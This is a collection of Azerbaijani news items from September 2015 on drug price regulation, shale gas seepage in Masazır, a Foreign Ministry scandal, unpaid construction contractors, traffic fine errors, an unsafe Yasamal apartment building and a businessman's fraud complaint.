Sabahdan dərmanlar yeni qiymətə satılacaq

Sabahdan Tarif Şurası tərəfindən təsdiq edilmiş 25 təsiredici maddə üzrə (kombinə olunmuş dərman vasitələri istisna olmaqla) 1057 dərman vasitəsinin yeni qiymətləri qüvvəyə minəcək APA-nın xəbərinə görə, Tarif Şurasının qərarına əsasən həmin tarixdən etibarən qiymətləri təsdiq edilməyən qeyd olunan tərkibli dərman vasitələrinin satışı yalnız qiymətlər təsdiq edildikdən sonra həyata keçirilə bilər.Tarif Şurasının 2015-ci il 30 iyul tarixində keçirilmiş iclasında 256 dərman vasitəsi üzrə qiymətlər təsdiq edilib. İclasda ilk mərhələdə həyati vacib və daha çox tələbat olan 25 təsiredici maddə üzrə 250-dən çox dərman vasitəsinin qiyməti təsdiqlənib. Hazırkı qiymətlərə nisbətən qiymətləri tənzimlənmiş dərman vasitələrinin 20 faizinin qiyməti 3 dəfədən, 40 faizdən artıq dərman vasitəsinin qiyməti isə 2 dəfədən çox, ümumilikdə isə qiymətləri tənzimlənmiş dərman vasitələrinin 90 faizinin qiymətləri enib. Şuranın 2015-ci il 25 avqust tarixində keçirilmiş növbəti iclasında isə daha 801 dərman vasitəsinin qiyməti müəyyənləşdirilib. Ümumilikdə, elan olunmuş 25 təsiredici maddə üzrə 1057 dərman vasitəsinin qiymətləri tənzimlənib ki, bunun nəticəsində hazırda satışda olan dərman vasitələrinin qiymətləri ilə müqayisədə 46% dərman vasitəsinin qiyməti 2 dəfədən çox, 24% dərman vasitəsinin qiyməti 3 dəfədən çox ucuzlaşdırılıb, bütövlükdə isə həmin tərkib üzrə satışda olan dərman vasitələrinin 94%-i üzrə qiymətlər aşağı salınıb. Bununla da, dövlət qeydiyyatına alınmış dərman vasitələrinin təqribən 15%-nin hazırkı qiymətlərlə müqayisədə əhəmiyyətli dərəcədə aşağı olan satış qiymətləri təsdiqlənib. Böyük sosial əhəmiyyət kəsb edən bu proses bütün dərman vasitələrinin qiymətləri tənzimlənənədək intensiv şəkildə davam etdiriləcək və bu ilin sonunadək əksər dərman vasitələri üzrə qiymətlərin tənzimlənməsi başa çatdırılacaq.Qeyd edək ki, Tarif Şurasının son iclasında daha 55 yeni təsiredici maddə üzrə dərman vasitələrinin qiymətlərinin təsdiqlənməsi üçün sənədlərin (bəyannamələrin) qəbulu elan olunub və bunun üçün son müddət 2015-ci il sentyabr ayının 10-dək müəyyən edilib.

14 Sentyabr 2015 4:29

Masazırda bu evlər sökülə bilər

Rövnəq Abdullayev neft və qazçıxarma mədənlərinin yaxınlığında yerləşən evlərin qanunsuz tikildiyini deyib "Masazırın bəzi yerlərində tikilən evlərin altından sızan şist qazı bu ərazilərdə yaşayış üçün təhlükəlidir. Bununla belə, həmin yerlərdəki evlərin sökülüb-sökülməyəcəyi haqqında qərarı Nazirlər Kabineti qəbul edəcək". Bunu ans press-ə açıqlamasında Dövlət Neft Şirkətinin Mətbuat katibi Nizaməddin Quliyev deyib. Onun sözlərinə görə, həmin ərazilərdə yoxlama davam etdirilir. Yekunlaşandan sonra isə həmin yoxlamanın nəticələri Nazirlər Kabinetinə təqdim ediləcək. "Yalnız bundan sonra hökumət o evlərin sökülüb-sökülməyəcəyi haqqında qərar qəbul edəcək", - deyə Nizaməddin Quliyev bildirib.Balaxanı, Binəqədi, Səbail və Masazırda enerji ehtiyatları yaşayış üçün təhlükə yaradır.Bir neçə gün əvvəl Ağdaşda verdiyi müsahibəsində Rövnəq Abdullayev Masazırda şist sızmasının bəzi yaşayış yerlərində həyat üçün təhlükə yaratdığını bildirib. O, neft və qazçıxarma mədənlərinin yaxınlığında qanunsuz yerləşən həmin evlərin qanunsuzn tikildiyini qeyd edib. "Masazırın bəzi yerlərində yeraltı qrunt qaz sızmaları mövcuddur və ərazi yaşayış üçün təhlükəlidir. Baş nazirin müavini Abid Şərifovun rəhbərliyi ilə Fövqəladə Hallar Nazirliyi, ARDNŞ, AMEA, Ekologiya və Təbii Sərvətlər Nazirliyinin nümayəndələri əraziyə bir neçə dəfə baxış keçirib, yoxlama işləri davam etdirilir", - deyə ARDNŞ-nin prezidenti bildirib.

14 Sentyabr 2015 12:10

Ayın 15-dən dərmanlar eyni qiymətə satılacaq

Bu vaxta qədər mindən çox dərman vasitəsinin qiymətləri tənzimlənib Prezident İlham Əliyevin bu ilin iyul ayında keçirdiyi müşavirədə dərmanların qiymətilə bağlı məsələni gündəmə gətirməklə və dərman vasitələrinin qiymətlərinin tənzimlənməsi göstərişi ilə bu sahədəki çatışmazlığı aradan qaldırmış oldu.Məhz dövlət başçısı da dərman preparatlarının qiymətinin həddən artq şişirdilməsinə, bu sahədə özbaşınalıq və anarxiyanın hökm sürməsinə dair tutuduğu irad artıq öz həllini tapmaq üzrədir.Dərman bazarı tənzimlənməyə başlayıb və dərmanların satışında şəffaflıq təmin olunmağa başlayıb.5 gündən sonra bütün apteklərdə dərmanlar eyni qiymətə satılıcaq. Qiyməti eyniləşdirilən dərmanların hamısının üzərində oxunaqlı şəkildə dəyəri yazılacaq.Dərmanların qiymətinin endirilməsi və eyniləşdirilməsi insanların çoxdandır ki, gözlədiyi hadisədir. Çünki, müxtəlif preparatları müxtəlif qiymətə satan aptekləri gəzmək və daha ucuz dərmanı tapmaq insanları yorurdu.İlkin mərhələdə ölkə ərazisində dövlət qeydiyyatına alınan 4 min 500 adda dərman vasitəsindən 1057-nin qiyməti eyniləşdirilib. Bunlar həyat üçün vacib və təcili istifadə olunan dərmanlardır.Səhiyyə Nazirliyinin Analitik Ekspertiza Mərkəzinin Dərmanların Keyfiyyətinə Nəzarət İnspeksiyasının rəisi Pərviz Əzizbəyov deyir ki, dərmanların qiymətinin tənzimlənməsi mərhələli şəkildə davam edəcək: “Sentyabrın 15-dən İqtisadiyyat və Sənaye Nazirliyi yanında Antiinhisar Siyasəti və İstehlakçıların Hüquqlarının Müdafiəsi Dövlət Xidməti və Səhiyyə Nazirliyinin Analitik Ekspertiza Mərkəz birgə qiymət intizamına nazərət məqsədilə monitorinqlər keçirəcəkdir. Artıq bu iki qurum arasında bununla bağlı razılaşma əldə olunub”. Qiymətlərin tənzimlənməsindən sonra dərman bazarında ciddi dönüşün baş verəcəyini prezident İlham Əliyev ötən gün keçirdiyi müşavirədə vurğulamışdı.Dövlət başçısı onu da qeyd etmişdi ki, dərmanların qiymətinin orta hesabla 2-3 dəfə aşağı salınması təmin edilib.Səhiyyə Nazirliyindən bildirilib ki, dərman vasitələrinin qiymətləri tənzimlənməsi prosesi bu ilin sonunadək başa çatacaq. Bu vaxta qədər mindən çox dərman vasitəsinin qiymətləri tənzimlənib.

10 Sentyabr 2015 11:16

Fəzail Ağamalı: “Xaricdəki diplomatlarımıza da qarmaq atılıb”

Azərbaycan Xarici İşlər Nazirliyi daxilində baş verən məlum diplomatik qalmaqallar səngimək bilmir Mayın 19-da Binəqədidə baş verən yanğın hadisəsi ilə bağlı İslam Əməkdaşlıq Təşkilatının Avropa İttifaqındakı sabiq səfiri Arif Məmmədovun statusu ilə başlayan qalmaqala daha biri əlavə olunub.Belə ki, Avstraliyadakı səfirimizin əməkdaşı Anar Həsənov XİN sistemindəki qanunsuzluqlar və korrupsiya faktları ilə bağlı açıqlama verib. Məsələyə münasibət bildirən nazirlik onun işdən qovulduğunu açıqlayıb. Göründüyü kimi, XİN problemin həll yolunu narazıların işdən qovulmasında axtarır.Son aylarda XİN-də baş verənlərdən sonra bir nüans diqqəti çəkdi. Qurumdakı narazılıq əsasən daxildən kənarda baş verir. Heç şübhəsiz ki, bütün bunlar Azərbaycanın xarici siyasətinə ciddi zərbə vurur. Xüsusilə Dağlıq Qarabağ probleminin həll yollarına da təsirsiz ötüşmür.İqtidaryönlü deputat Fəzail Ağamalı da bu düşüncədədir. O, XİN-in atdığı addımları dəstəklədiyini bildirdi: “Binəqədidə baş verən yanğın hadisəsi ilə bağlı sabiq diplomatın, diplomatik qaydalara sığmayan açıqlamalar verməsi təbii ki, bu sahədə xoşagəlməyən məqamlar yaratdı. Bir vətəndaş kimi, öz təəssüfünü bildirə bilərdi. Başadüşülən olardı. Bütün bunlardan dolayı o, diplomatik siyasətçi kimi öz mövqeyini ortaya qoyanda təbii ki, Xarici İşlər Nazirliyi addımını atmalı idi. Nazirliyin addımını müdafiə edirəm. Çünki bu cür hallar yaramaz. Diplomat, siyasətçi öz işi ilə məşğul olmalıdır. Jurnalist də peşəsinə uyğun fəaliyyət göstərməlidir. Hər şey yerində olanda problem ortaya çıxmır. Peşələr və onların daşıyıcıları yerlərini dəyişəndə, hər zaman problem yaranır. Yaranan problemin kökündə bunlar dayanırdı. KİV-lərin məlumatına görə, Avstraliyada yoxlamalar zamanı həmin şəxsin günahı üzə çıxmışdı. Bunlar ciddi araşdırmalar tələb edir. Bununla bağlı nazirlik açıqlamasını verib. Çox yaxşı olardı ki, nazirlik onun günahları ilə bağlı mətbuata geniş açıqlama versin. O zaman hansı tərəfin günahının çox olduğu üzə çıxacaq”.Deputat indiki vəziyyətdə bu məsələlərin ortaya çıxmasının Qarabağ probleminin həllinə ciddi əngəl törətdiyini də qeyd etdi: “Anti-Azərbaycan qüvvələrin ciddi fəaliyyətə keçdiyi bir vaxtda belə məsələlərin ortaya çıxması və bununla bağlı irəli sürülən bəzi fikirlər yanlış yanaşmadır. İstefaya göndərən də ölkə prezidentidir, vəziyə qoyan da. Ümidlərlə, ekspertlərin fikirləri ilə indiyə qədər heç kəs vəzifədən çıxarılmayıb, heç kim də vəzifəyə təyin olunmayıb. Dağlıq Qarabağ məsələsinin həllinin aktiv fazaya keçdiyi ərəfədə bu məsələləri Xarici İşlər Nazirliyinin və onun rəhbəri Elmar Məmmədyarovun üzərində cəmləşdirmək indiki durumda yol verilən deyil. Hər addım atanda, dövlətimizin maraqlarını düşünməliyik. Çünki bu nazirlik ölkəmizin imicinə müsbət və mənfi amillər gətirəcək ciddi qurumdur. Dünya ölkələrində də belədir. Ona görə də qələm əhlindən xahiş edərdim ki, bu məsələlərə diqqətli yanaşsınlar. İndiki durumda Elmar Məmmədyarovun üzərinə getmək nazirliyin üzərinə getmək anlamına gəlməlidir”.F.Ağamalı baş verənlərin Azərbaycanın xarici siyasətinə ciddi zərbə olduğu qənaətindədir: “Arif Məmmədov məsələsi ortaya çıxanda dedim ki, o, artıq təsir altına alınmış şəxsdir. Çünki vətənini, ölkəsini sevən diplomat xaricdə o cür bəyanatlar verməməli, Azərbaycanın üzərinə getməməlidir. O, artıq koordinator rolunu oynayır. Elə zənn edir ki, kim Xarici İşlər Nazirliyindən narazı olsa, ona müraciət edə bilər. Kim bu səlahiyyəti sənə verib? Bunun arxasında kimlər dayanır? Sən özünün ətrafında yuva qurursan, ora anti-Azərbaycan qüvvələri cəm edirsən. Xaricdə olan, vəzifə gözləyən, yaxud vəzifəsinin artmasını gözləyən, həyata keçmədiyinə görə narazı qalan şəxsləri də ətrafına cəm edirsənsə, hər şey ortadadır. Görün hansı cəsarəti daşıyır, ultimatum göndərir ki, xaricdə nazirliyin alternativ qurumu yaradıla bilər. Mənə elə gəlir ki, bu danışdırılan, Azərbaycana qarşı axtarılıb tapılan bir şəxsdir. Bunlar açıq şəkildə hiss olunur. Onun açıqlamaları bu fikirləri səsləndirməyə əsas verir. Ona görə də xarici diplomatlar bu məsələlərə diqqət yetirməlidirlər. Diplomatlar xüsusi olaraq seçilməlidir. Xahişlə, kiminsə qohumu olması ilə xaricdə diplomatik korpus formalaşdırmaq olmaz. Şəxsi keyfiyyətlərə ciddi önəm vermək lazımdır.Azərbaycana qarşı aparılan kampaniya çərçivəsində indi məlum olur ki, qarmaqlar xaricdəki diplomatlarımıza da atılıb və atılmaqdadır. Bir daha hesab edirəm ki, bütün günahları Elmar Məmmədyarovun üzərinə atmaq ədaləti, həqiqəti özündə əks etdirmir”. (musavat.com)

10 Sentyabr 2015 11:09

Məşhur naxçıvanlı iş adamı müflis oldu

“Xalqlar Dostluğu” ticarət mərkəzinin sahibi, tikinti maqnatı İman Quliyev bütün projelərini dondurub; naxçıvanlı biznesmeni ikiqat böhran “vurub” Tanınmış iş adamı İman Quliyev haqda sensasion məlumat yayılıb. Musavat.com-a özəl mənbələrdən daxil olan məlumata görə, tikinti maqnatı kimi ad çıxarmış, iri layihələr həyata keçirən biznesmen İ.Quliyev müflis olub.Xəbəri aldıqdan sonra bəzi dəqiqləşdirmələr apardıq. Əksər mənbələr xəbərin doğru olduğunu bildirdi. İman Quliyev əslən Naxçıvandandır. “Xalqlar Dostluğu” ticarət mərkəzinin sahibidir.İ.Quliyev Azərbaycan müstəqillik qazandıqdan sonra ulduzu parlayan iş adamlarındadır. O, 90-cı illərdən öz biznes şəbəkəsini quraraq ciddi maliyyə uğuru əldə etmişdi. Əsasən 1993-cü ildən başlayaraq uğur onun üzünə gülməyə başlayıb. Bu da səbəbsiz deyildi. Hazırkı hakimiyyət iş başına keçdikdən sonra İ.Quliyev yeni situasiyadan məharətlə yararlanmağı bacardı.Bakıda “tolkuçka” biznesi çiçəklənən vaxtlarda Nizami rayonu ərazisində “Xalqlar Dostluğu” ticarət mərkəzini tikdirdi. Bir vaxtlar ölkənin ən iri və dövriyyəsi yüksək olan ticarət mərkəzlərindən biri də yuxarıda adını çəkdiyimiz məkan idi.Son illər onun sahibi olduğu “tolkuçka” sürətlə boşaldı. Bunun bir səbəbi rəqabət mühitinin güclənməsi idisə, digər səbəb dünyada baş verən iqtisadi tənəzzül idi.İman Quliyev tikinti sahəsində də qabaqcıllardan olub. Onun şirkətləri Bakıda xeyli yaşayış binaları tikib. Hazırda da iş adamı Nizami rayonu ərazisində çoxmərtəbəli yaşayış binası inşa etdirir. Biznes aləminin Lakin gələn xəbərlərdə bildirilir ki, İ.Quliyevin əksər projeləri dayanıb. İşçilərinin belə maaşını vaxtında verə bilmir. Onun çöküşünün əsas səbəbi iqtisadi tənəzzül göstərilir. Bir başqa səbəb kimi isə iş adamını himayə edən yüksək rütbəli məmurların iqtidardakı mövqelərinin zəifləməsi göstərilir.İ.Quliyev daim reklamdan qaçıb. O, özünü, necə deyərlər, gözə soxmağa həvəsli olmayıb. Buna baxmayaraq, ara-sıra onun adı mediada müxtəlif məsələlərdə hallanıb. Bu da epizodik olub.İş adamı haqda dolaşan xəbərlərdə bildirilir ki, o, əmlakını satışa çıxarmağa başlayıb. İ.Quliyevin Bakıda xeyli daşınmaz əmlakının, gəlirlə işləyən obyektlərinin olduğu deyilir. Beləliklə, son aylar müflis olan iş adamlarının sırasına daha biri əlavə olundu. Bu adamların ətrafında yüzlərlə, hətta minlərlə işçi olur. Bu üzdən də onların müflis olması xeyli vətəndaşın işsiz qalmasına, ailələrin ruzisinin kəsilməsinə gətirib çıxarır. Sırada daha bir neçə biznesmenin də olduğu haqda xəbərlər var.Bir vaxtlar sürətlə yüksələn və varlanan iş adamlarının yarpaq tökümü başlayıb. Prosesin hara qədər davam edəcəyi isə bilinmir. Sırada kimlər var? Mövzunu davam etdirəcəyik.

10 Sentyabr 2015 9:19

Hökümət iş adamlarına 120 milyon “atıb” – Qalmaqal

  Avropa Oyunları ərəfəsində Bakıda irimiqyaslı təmir-abadlıq işləri görüldü. Bütöv qəsəbələr, yollar abadlaşdırıldı, yeni bulvar quruldu. Hamısı da çox yüksək səviyyədə… Lakin məlumatlı mənbələrdən virtualaz.org saytına məlum olub ki, bu işlərin əksəriyyətinin sifarişçisi olan SOCAR abadlıq-bərpa işlərini həyata keçirən podratçı şirkətlərin pulunu ödəməyə hələ də tələsmir. Doğrudur, məsələ ondadır ki, SOCAR özü də ona çatacaq pulu hökumətdən ala bilmir. Çünki Nazirlər Kabineti həmin subsidiyanı ayırmağa tələsmir. Söhbət isə böyük məbləğdən – 120 milyon manatdan gedir. Baş nazirin müavini Yaqub Eyyubov görülən işlərə görə ödənişlərin həyata keçirilməsinə göstəriş verməkdən bu günədək imtina edir. SOCAR rəhbərliyinin çoxsaylı müraciətlərinə baxmayaraq Y.Eyyubovun onlarla şirkətə ödəniş etməkdən imtinasının səbəbləri məlum deyil. Təkcə o məlumdur ki, hökumətin bu hərəkətsizliyi xeyli tikinti şirkətinin maliyyə sıxıntısı ilə üzləşməsinə, hətta iflasına gətirib çıxarıb. Armatur, sement, bitum və s. inşaat materialları istehsalı zavodlarının maliyyə durumunu pisləşdirib. Nəticədə bu abadlıq-təmir işlərinə cəlb olunmuş 5 mindən çox adam zərər çəkib. Mənbələrin verdiyi məlumata görə, həmin podratçı şirkətlərin, həmçinin SOCAR rəhbərliyinin ən son instansiyaya – prezident İlham Əliyevə bu məsələyə müdaxilə etmək və Azərbaycan iqtisadiyyatına nəzərəçarpacaq ziyan vura biləcək bu problemin həllinə yardım göstərmək xahişi ilə müraciət etməkdən savayı yolları qalmayıb. Sübut üçün uzağa getmək lazım deyil. Pulu hələ də ödənilməmiş üç layihəyə baxaq. Avropa Oyunları ərəfəsində Təşkilat Komitəsi Bakının ən səliqəsiz məhəllələrindən olan və daha çox “Şanxay” kimi tanınanın kvartalının abadlaşdırılmasına qərar verdi. SOCAR-ın sifarişi ilə işə başlayan podratçı şirkətlər burada praktiki olaraq bircə aya hər şeyi yeniləyib abadlaşdırdılar. Bütün tikililərin və evlərin dam örtükləri yeniləndi. Küçələr abadlaşdırıldı. Bu işlərə 3 milyon dollar vəsait xərcləndi. O vaxtdan üç ay keçsə də həmin pul podratçı şirkətlərə hələ də ödənilməyib. Digər nümunə. “Bəy Mamed” ləqəbli məşhur naxçıvanlı biznesmen hələ bir neçə il əvvəl Bayılda Su Oyunları Arenası ilə üzbəüz 21 çoxmərtəbəli bina tikdirmişdi. Burada görülən işlərin keyfiyyəti o qədər də yüksək deyildi. Həmin binalar sovet dövrünün əyri-üyrü “brejnevka”larını xatırladırdı. Bu binalar istismara veriləndən bir müddət sonra isə tamamilə yararsız hala düşmüşdü. Hökumət bu eybəcər binaları da abıra salmağa qərar verdi, onlara xüsusi üzlüklər vuruldu. Bu işlər podratçı şirkətlərə 41 milyon manata başa gəldi (söhbət manatın fevral devalvasiyasına qədərki məzənnəsindən gedir). Podratçılar bu pulun 21 milyon manatını alıblar. Qalan 20 milyonu ödəməkdən isə imtina edirlər. Necə? Çox sadə. Hökumətdəki yüksək mənsəb sahibləri, o cümlədən baş nazirin müavini Yaqub Eyyubovun özü də bunu anlamaqdan imtina edirlər ki, podratçı şirkətlər həmin işləri görməyə başlayarkən inşaat materiallarını (beton, armatur və s.) digər şirkətlərdən borc götürüblər. İndi isə həmin məhsulları istehsal edən zavodlar şirkətlərdən pulunu tələb edir. Bəs şirkətlər öz növbəsində kimə müraciət etməlidir? Əlbəttə ki, hökumətə. Lakin onlara məhəl qoyan da yoxdur. Nəticə isə budur: 5700 işçi maaş ala bilmir. Şirkətlərin durumu isə daha ağırdır. Çünki banklar da öz növbəsində onlara kreditlərə görə faiz hesablamaqda davam edir. Əslində nələrin baş verdiyi anlaşıldımı? Fəhlələr son ümid yerləri olan çörəkpullarını ala bilmir. Şirkətlər iflasa uğrayır. Banklar problemlə üzləşir. Nəticədə təkcə inşaat sektoru yox, bütün ölkə iqtisadiyyatı ziyana düşür. Əgər pul olmasaydı, bu böhranı iqtisadi kataklizmlərlə də izah etmək mümkün olardı. Halbuki pul var. Sadəcə onu ödəmək istəmirlər, vəssalam! Bunu başqa nümunə də sübut edir. Prezident Mili Məclisin binasının arxasındakı köhnə 9 mərtəbəli binaları da yenidən qurmaq barədə göstəriş verib. Binaların üzlənməsi üçün büdcədən 11 milyon manat ayırıblar. İşlər başlayıb. Pul ayrılıb və 5 milyonu xərclənib. Sonradan maliyyə ayrılması dayandırılıb. Ona görə də işlər də yarımçıq saxlanıb. İşlərin yarımçıq saxlanması isə podratçı şirkətə böyük ziyan vurub. Çünki şirkət inşaat texnikasını başqa şirkətdən icarəyə götürüb və buna görə hər gün pul ödəməlidir. Texnika isə boş-boşuna dayanıb. Bu halda hamı ziyan çəkir. Şirkətlər pul itirir. Binaları təmir olunub üzlənən sakinlər rahatlığını itirib. Onlar bir ildir bitmək bilməyən və qəfildən yarımçıq saxlanan işlərə görə balkonlarına da çıxa bilmirlər. Banklar şirkətləri faizlə yükləyir. Dövlət isə məmurların günahı ucbatından nüfuzunu itirir… Bəs əslində nə baş verir? Bu aşkar sabotaj nə ilə bağlıdır? Hesabda pul var. Ölkədə dərin iqtisadi böhran yoxdur. İşlər də lazımi səviyyədə görülüb. Maliyyələşmə isə yarıda kəsilib. Məmurlar hansı məntiqlə hərəkət edir? Doğrudanmı ilk baxışda bu əhəmiyyətsiz məsələyə də dövlət başçısı şəxsən özü müdaxilə etməlidir?Etməlidir ki, 5700 nəfər artıq çoxdan görüb qurtardıqları işlərə görə (!!!) maaş ala bilsin? Ölkədə qəsdən sosial gərginlik yaratmaq, insanları hakimiyyətə qarşı qaldırıb küçələrə çıxarmaq kimə lazımdır? Azərbaycan məmurlarının məntiqini anlamaq doğrudan da çox çətindir…

9 Sentyabr 2015 7:18

DYP: “Xeyli sürücüyə 40 manat əvəzinə 60 manat yazıblar“

Bakı-Sumqayıt yolunda qayda pozanlara tərtib edilən protokollarda səhvlər aşkarlanıb Avtosfer.az saytı bir neçə gün əvvəl Bakı-Sumqayıt yolunun Beynəlxalq Avtovağzala yaxın hissəsində sürücülərə düz xəttin tələbini pozmağa görə 60 manat, 3 bal cərimə yazması barədə məsələ qaldırmışdı.Bildirmişdik ki, həmin ərazidə əslində, sürücülərə yalnız 40 manat cərimə yazıla bilər. Problemin başqa bir tərəfi isə odur ki, burada Şamaxıdan gələn maşınlarla Sumqayıtdan gələn maşınların eyni yola qovuşduğu yerdən Avtovağzala ayrılan yerə qədər 1300 metr məsafədə düz xətti keçmək üçün yalnız bir yerdə sağa və sola manevr etmək üçün qırıq-qırıq xətt qoyulub.Həmin yerdən manevr edə bilmədikdə məcbur olub yolun Avtovağzala ayrılan hissəsində «20 Yanvar»a gedən yola çıxmalısan ki, bu zaman kamera çəkir və cərimə yazılır. Digər variant isə odur ki, Avtovağzala düşüb oradan «20 Yanvar» yoluna çıxmalısan. Bu, məsələnin ən qəliz tərəfidir. Sürücülərə yazılan 60 manatlıq cərimə isə qanuna ziddidir. Artıq yol polis idə bunu etiraf edib…Rövşən Talıbzadə qayda pozuntusu ilə bağlı haqqında tərtib edilmiş elektron protokolla razılaşmır. Bakı-Sumqayıt yolunda bütöv xətti kəsərək keçdiyinə görə ona 60 manat cərimə ilə yanaşı 3 bal da yazılıb.Yol hərəkəti üzrə ekspert Ərşad Hüseynovun sözlərinə görə sürücü barəsində tərtib edilmiş elektron protokolda yanlışlıqlar var. İlk səhv cərimənin miqdarı ilə bağlıdır.Elektron protokoldakı digər səhv sürücünün təqsirkar bilindiyi maddə ilə bağlıdır. Protokolda qeyd edilib ki, sürücü yol hərəkəti haqqında qanunun 61-ci maddəsini pozub.Bizə gələn müraciətlərdən aydın olur ki, Bakı-Sumqayıt yolunda, daha dəqiq desək Avtovağzalın yaxınlığında bütöv xəttin tələbini pozduğuna görə sürücülərə tərtib edilmiş elektron protokollara əsasən 60 manat cərimələnir. Ekspertlər deyirlər ki, sürücülər belə olan halda mütləq baş dövlət yol polisi idarəsinə müraciət etməlidirlərBaş Dövlət yol polisi idarəsinin mətbuat xidmətinin rəhbəri Kamran Əliyev faktı təsdiq edib. Onun sözlərinə görə həmin ərazidə sürücülərə bütöv xəttin tələbinin pozulmasına görə səhvən 60 manat cəriməni nəzərdə tutan protokol tərtib edilir. Kamran Əliyev deyib ki, bu texniki səhvdir və həmin sürücülər bununla bağlı Baş Dövlət Yol Polisi İdarəsinə müraciət etməlidirlər. Bundan sonra onların protokollarına müvafiq düzəlişlər ediləcək. Sürücülər isə əvvəl qayda pozmamağa çalışmalı, pozsalar da protokolu diqqətli nəzərdən keçirməlidir.

9 Sentyabr 2015 3:27

“Bir təkan bəsdi ki, bu bina çöksün”

Söhbət Yasamal rayonu, Şərifzadə küçəsindəki 122 saylı binadan gedir. Həmin ünvanda yaşayanlar AzadlıqRadiosunun “Qaynar xətt”inə danışırlar ki, bina uzun illərdir qəzalı vəziyyətdədir. Bir az imkanlılar qapı-bacalarını qıfıllayıb başqa yerdə kirayədə yaşayırlar. Buna imkanı çatmayanlarsa necə deyərlər, taleləri ilə barışıb təhlükəylə baş-başa qalıblar. GÖZDƏN PƏRDƏ SUVAQ Sakin Fatma Osmanova: “Bu binadan hamının xəbəri var – Fövqəladə Hallar Nazirliyinin də, Bakı Şəhər İcra Hakimiyyətinin də… Bina dağılır, pilləkənlər adamın ayağının altında oynayır. Kommunikasiya xətləri bərbad vəziyyətdədir. Divarlar o dərəcədə çat verir ki, deşikləri əski parçalarıyla ört-basdır etməli oluruq”. Yuxarı mərtəbələrdəki mənzillər gecə-gündüz aşağıdakıları “sulayır”. Elə mənzil yoxdur ki, üstündəki mənzildən başına su axmasın. Sakinlərin deməsinə görə, hər dəfə səs-küy salanda yerli “JEK”dən gəlib binanın ora-burasını suvaqlayıb gedirlər. Fatma Osmanova deyir, bu suvaq da gözdən pərdə asmaq üçündür: “Şəxsən mənim evlərimin divarları partlayıb, ikiyə bölünüb. Divarların arasından çöl görünür. Mətbəx dağılıb, tavan uçub”. DÖŞƏMƏLƏR ÇİRKAB SUYLA DOLMUŞDU Sakin Mirzə Xankişiyev: “Bir dəfə istirahətə getdik, evə dönəndə burnumuzdan gəldi. Kanalizasiya xətləri köhnə, sıradan çıxmış olduğuna görə tualet daşmışdı, evin döşəmələri çirkab suyla, nəcislə dolmuşdu. Halbuki, kanalizasiya xətlərinin təzələnməsi üçün dəfələrlə müraciət etmişdik. Elə bircə onu deyirlər ki, qəzalı binadır, onsuz da gec-tez ya köçürüləcəksiz, ya da təmir olunacaq. Axı nə vaxt?” Mirzə Xankişiyev deyir ki, sonuncu mərtəbənin sakinləri üz tutduqları aidiyyəti qurumlardan səs çıxmadığını görüb özləri bir araya gəliblər. Binanın damını düzəltdiriblər ki, qışda başlarına su axmasın: “Ancaq onun da xeyri yoxdur. Çünki bu boyda binanın damını keyfiyyətli təmir etdirmək bizim imkanımız daxilində deyil. Buna gərək vəsait ayrılsın, əməlli-başlı iş görülsün. Bizim qır tökdürməyimizlə iş bitmir”. Binada çatların gündən-günə dərinləşməsi və çoxalması, çökmə təhlükəsinin artması sakinləri rahat buraxmır. MƏNZİL FONDU BOŞDUR Fövqəladə Hallar Nazirliyinin nümayəndələri bir neçə dəfə binaya baxış keçiriblər. Binanın qəzalı olması barədə rəy də verilib. Sakinlərə tezliklə ərazidən köçürüləcəkləri vəd olunub. Bina sakinləri deyirlər, artıq binanın daşları da bir-bir qopub tökülür. Onlar əvvəlkitək daha mənzillərində təmir işləri aparmağa da ehtiyat edirlər. Yasamal rayon İcra Hakimiyyətindən bildiriblər ki, binanın vəziyyətindən məlumatlıdırlar. Ancaq indi sakinlərin dərdinə çarə edə bilmirlər. Səbəb də odur ki, mənzil fondu boşdur. Ancaq binanı əsaslı təmir etməli olan qurumlara müraciət olunub. Əgər həmin qurumlar təmirə başlamaq barədə qərarlarını bildirsələr, o zaman onlar da sakinlərin kirayədə qalması üçün müvafiq tədbirlər görəcəklər…

8 Sentyabr 2015 6:25

Kəbirə Məmmədovaya qarşı dələduzluq ittihamı

Rafil Həsənov: «Kəbirə Məmmədova 2006-cı ildə məndən 135 min manat alıb. İndi isə deyir ki, get dərdini kimə deyirsən, de». İş adamı Ravil Həsənov Binə Ticarət Mərkəzinin rəhbərinə qarşı dələduzluq iddiası ilə çıxış edir. Bu barədə PİA.AZ-a Ravil həsənov özü məlumat verib.  Qeyd edək ki, iş adamı Rafil Həsənov bundan əvvəl ölkə prezidentinə də müraciət etmişdi. Şikayətçinin bildirdiyinə görə, hələ 2006-cı ildə Binə Ticarət Mərkəzi tikildiyi zaman o, Kəbirə Məmmədovaya dükan almaq üçün 135 min manat verib. Lakin aradan 9 il keçməsinə baxmayaraq, Kəbirə Məmmədova iş adamının nə pulunu, nə də dükanını verir: «Mən 2006-cı ildə şahidlərin yanında Kəbirə Məmmədovaya dükan almaq üçün 135 min manat vermişəm. Aradan 9 il keçməsinə baxmayaraq, dükanlarımı ala bilmirəm. Uzun mübahisələrdən sonra Kəbirə Məmmədova mənim pulumun yarısını - 70 min manatımı qaytarıb. İndi isə, Kəbirə Məmmədova mənim yerdə qalan pulumu, yəni 65 min manatımı qaytarmaqdan imtina edir. Deyir yer verim, gedin dükanı özünüz tikin. Halbuki mən 135 min manatı Binə Ticarət Mərkəzinin mərkəzində dükan almaq üçün vermişdim. Buna görə də pulumu geri istəyirəm. Amma Kəbirə Məmmədova mənə deyir ki, sənə veriləcək pulum yoxdur. Get dərdini kimə deyirsən, de. Hətta məni hədələməkdən belə çəkinmir. Sözün düzü, mən başa düşə bilmirəm, biz hüquqi dövlətdə yaşayırıq, ya başqa bir sistemdə. Mən deyəndə ki, cənab prezidentə, hüquq-mühafizə orqanlarına şikayət edəcəm, deyir ki, get kimə deyirsən de. Bu artıq Kəbirə Məmmədovanın dövlətə və dövlət qurumlarına meydan oxumasıdır». Ravil Həsənov onu da bildirib ki, Kəbirə Məmmədovanın bu şəkildə aldatdığı başqa sahibkarlar da var və onlar birlikdə Kəbirə Məmmmədovadan məhkəməyə müraciət edəcəklər. Qeyd edək ki, məsələ ilə bağlı Kəbirə Məmmədovanın mövqeyini öyrənməyə cəhd etsək də, cəhdimiz uğursuz oldu. Ümumiyyətlə isə bu günə qədər dövrü mətbuatda Kəbirə Məmmədova ilə bağlı çoxlu iddialar olsa da, qarşı tərəf olaraq Binə Ticarət Mərkəzinin rəhbəri susqunluqla cavab verir. Bu isə təbii ki, iddiaçıların haqqlı olması ilə bağlı fikir formalaşdırır. Qarşı tərəfin mövqeyini dərc etməyə 